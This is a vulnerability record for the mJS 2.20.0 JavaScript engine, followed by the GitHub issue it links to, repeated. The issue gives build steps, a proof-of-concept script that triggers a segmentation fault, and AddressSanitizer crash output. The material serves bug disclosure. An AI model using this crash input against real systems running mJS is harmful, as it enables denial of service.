Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x2c17e. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
chr([
  print(
    chr([
      print(
        JSON.stringify([
          chr--(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
          chr(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
        ])
      ),
    ])
  ),
]);
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
<array>
<array>
ASAN:DEADLYSIGNAL
=================================================================
==125301==ERROR: AddressSanitizer: SEGV on unknown address 0x55dae32d710c (pc 0x55dae32d717f bp 0x000000000130 sp 0x7ffc72c4b168 T0)
==125301==The signal is caused by a WRITE memory access.
    #0 0x55dae32d717e  (/usr/local/bin/mjs+0x2c17e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c17e)
==125301==ABORTING
```


SEGV (/usr/local/bin/mjs+0x2c17e)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/usr/local/bin/mjs+0x2c17e)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
chr([
  print(
    chr([
      print(
        JSON.stringify([
          chr--(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
          chr(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
        ])
      ),
    ])
  ),
]);
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
<array>
<array>
ASAN:DEADLYSIGNAL
=================================================================
==125301==ERROR: AddressSanitizer: SEGV on unknown address 0x55dae32d710c (pc 0x55dae32d717f bp 0x000000000130 sp 0x7ffc72c4b168 T0)
==125301==The signal is caused by a WRITE memory access.
    #0 0x55dae32d717e  (/usr/local/bin/mjs+0x2c17e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c17e)
==125301==ABORTING
```


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